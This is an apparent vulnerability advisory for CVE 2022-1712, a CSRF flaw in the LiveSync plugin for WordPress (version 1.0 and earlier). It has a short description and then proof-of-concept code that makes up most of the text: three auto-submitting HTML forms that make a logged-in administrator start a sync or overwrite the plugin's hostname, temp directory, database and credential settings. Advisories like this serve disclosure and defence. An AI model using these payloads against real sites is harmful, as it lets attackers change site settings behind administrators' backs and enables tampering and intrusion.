LiveSync for WordPress <= 1.0 – Arbitrary Settings Update via CSRF | CVE 2022-1712

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

<form id="test" action="https://example.com/wp-admin/tools.php?page=livesync/livesync.php" method="POST">
    <input type="text" name="livesync_go" value="true">
    <input type="text" name="Submit" value="Synchronise Live »">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/options-general.php?page=livesync/livesync.php" method="POST">
    <input type="text" name="livesync_updateoptions" value="true">
    <input type="text" name="livesync_hostname" value="aaa">
    <input type="text" name="livesync_tempdir" value="/tmp">
    <input type="text" name="livesync_usedefaults" value="true">
    <input type="text" name="Submit" value="Update Options »">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/options-general.php?page=livesync/livesync.php" method="POST">
    <input type="text" name="livesync_updateoptions" value="true">
    <input type="text" name="livesync_hostname" value="www">
    <input type="text" name="livesync_tempdir" value="/tmp">
    <input type="text" name="livesync_database" value="www">
    <input type="text" name="livesync_username" value="wwww">
    <input type="text" name="livesync_password" value="wwwwwww">
    <input type="text" name="Submit" value="Update Options »">
</form>
<script>
    document.getElementById("test").submit();
</script>